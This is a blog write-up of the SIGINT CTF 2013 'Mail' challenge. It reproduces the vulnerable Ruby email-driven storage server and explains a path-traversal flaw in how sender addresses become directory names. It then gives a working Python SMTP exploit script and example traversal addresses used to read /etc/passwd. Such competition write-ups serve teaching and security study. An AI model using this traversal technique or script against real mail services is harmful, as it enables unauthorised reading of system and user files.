Sunday, July 7, 2013

SIGINT CTF: Mail

The mail challenge presented a program which used email as the basis for cloud storage software. It interpreted commands from the "Subject" line of an email and then performed actions, with the results being emailed back to the sender. The server code is shown below (I have modified the send_response and send_error methods to work over STDIO so that I could beat the program locally without sending emails).
#!/usr/bin/ruby

require "pathname"
Dir.chdir(Pathname.new(__FILE__).dirname.to_s)

require "mail"

mail_size_limit= 16*1024
user_size_limit= 1024**2
users_dir= Pathname.new("user")

raw_incoming_mail= STDIN.read(mail_size_limit)
incoming_mail= Mail.new(raw_incoming_mail)

user= [incoming_mail.from].flatten[0].gsub('"', "")
exit 1 unless user
exit 1 unless user=~ /@/
subject= incoming_mail.subject
exit 1 unless subject
user_dir= users_dir + user.split("@", 2).reverse.join("___")
print user_dir+"\n"
size_file= user_dir + ".size"
tmp_size_file= user_dir + ".size_tmp"

'''
available commands:
signup
list
put
get <filename>
delete <filename>
share <filename> <user>
'''

def send_response(original_mail, response_string, attachment= nil, response_subject=nil)
    print "\nReponse:\n------------\n\n"
    print original_mail,"\n"
    print response_string,"\n"
    print attachment,"\n"
    print response_subject,"\n"
    print "------------\n"
end

def send_error(original_mail, error_string)
    print "\nError:\n-------------\n\n"
    print original_mail,"\n"
    print error_string,"\n"
    print "-----------\n"
end

case subject
when "signup"
 if user_dir.directory?
  send_error(incoming_mail, "your are already signed up")
  exit
 end
 unless (user_dir+"../.signup_allowed").file?
  send_error(incoming_mail, "signup is currently disabled")
  exit
 end
 user_dir.mkdir
 size_file.open("w") { |f| f.puts 0 }
 send_response(incoming_mail, "signup successfull")
when "list"
 unless user_dir.directory?
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 file_listing= "your_files:\n" +
 user_dir.children.select do |file|
  file.basename.to_s[0] != ?.
 end.collect do |file|
  "#{file.basename} #{file.size/1024.0}Kb"
 end.join("\n")
 send_response(incoming_mail, file_listing)
when /\Aget ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
 file_name= $1
 file_path= user_dir+file_name
 unless user_dir.directory?
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 unless file_path.file?
  send_error(incoming_mail, "the requested file does not exist")
  exit
 end
 send_response(incoming_mail, "here is your requested file", file_path.to_s)
when /\Ashare ([A-Za-z0-9_-]+(\.[a-z0-9]+)?) ([A-Za-z0-9][A-Za-z0-9._-]*@([A-Za-z0-9-]+\.)+[A-Za-z]+)\Z/
 file_name= $1
 second_user= $3
 file_path= user_dir+file_name
 unless user_dir.directory?
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 unless file_path.file?
  send_error(incoming_mail, "the requested file does not exist")
  exit
 end
 second_user_dir= users_dir + second_user.split("@", 2).reverse.join("___")
 second_size_file= second_user_dir + ".size"
 second_file_path= second_user_dir + file_name
 unless second_size_file.file?
  send_error(incoming_mail, "the given user is not signed up")
  exit
 end
 if second_file_path.exist?
  send_error(incoming_mail, "file cannot be shared for unknown reasons")
  exit
 end
 second_file_path.make_symlink(file_path.to_s.sub("user/", "../"))
 send_response(incoming_mail, "file shared", file_path.to_s)
when /\Adelete ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
 file_name= $1
 file_path= user_dir+file_name
 user_size= begin
  size_file.read.to_i
 rescue Errno::ENOENT
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 unless file_name[0] != ?. and file_path.file?
  send_error(incoming_mail, "the requested file does not exist")
  exit
 end
 user_size-= file_path.size
 file_path.unlink
 tmp_size_file.open("w") { |f| f.puts user_size }
 tmp_size_file.rename(size_file)
 send_response(incoming_mail, "file deleted")
when "put"
 user_size= begin
  size_file.read.to_i
 rescue Errno::ENOENT
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 attachment= incoming_mail.attachments[0]
 unless attachment and attachment.filename=~ /\A([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
  send_error(incoming_mail, "no valid attachment found")
  exit
 end
 file_path= user_dir+attachment.filename
 if file_path.exist?
  send_error(incoming_mail, "file already exists")
  exit
 end
 attachement_body= attachment.body.decoded
 user_size+= attachement_body.size
 if user_size > user_size_limit
  send_error(incoming_mail, "you have no space left")
  exit
 end
 tmp_size_file.open("w") { |f| f.puts user_size }
 tmp_size_file.rename(size_file)
 file_path.open("w") { |f| f.write attachement_body }
 send_response(incoming_mail, "file saved")
end
The main flaw in this program comes from this line of code:
user_dir= users_dir + user.split("@", 2).reverse.join("___")
This means that any user root@example.com will have a working directory of example.com___root. This lends itself to directory traversal by having a source email address of root/../@example.com, which become example.com___root/../. Whenever the commands are run, they run from the working directory of the email address. The hardest part, then, is getting an email server working that will correctly handle email addresses like this. I worked with a buddy pretty heavily to get this working. We eventually resorted to having a "catch-em-all" email box on his server and just sent emails from him as an open relay. We had a command running in the Maildir that would always be showing the most recent mail, so any email responses we got would flash on our screen immediately. This, combined with the script shown below gave us a shell of sorts through the emails.
'''
Mail exploit - by suntzu_II

1. Run the 'signup'command as a@example.com. This creates a directory of example.com___a.
2. Run any command but perform directory traversal with email addresses like this:
    - list,a/../@example.com
    - get passwd,a/../../../../etc/@example.com

'''

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import base64

def sendMessage(action, send_from, send_to):
    msg = MIMEMultipart()
    msg['To'] = send_to
    msg['From'] = send_from
    msg['Subject'] = action

    smtp = smtplib.SMTP('b3.ctf.sigint.ccc.de',25)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()

while True:
    cmd = raw_input("Command: ").split(',')
    sendMessage(cmd[0], 'a/'+cmd[1]+'@example.com', 'test@b3.ctf.sigint.ccc.de')
The flag was in /etc/passwd.

- suntzu_II

No comments:

Post a Comment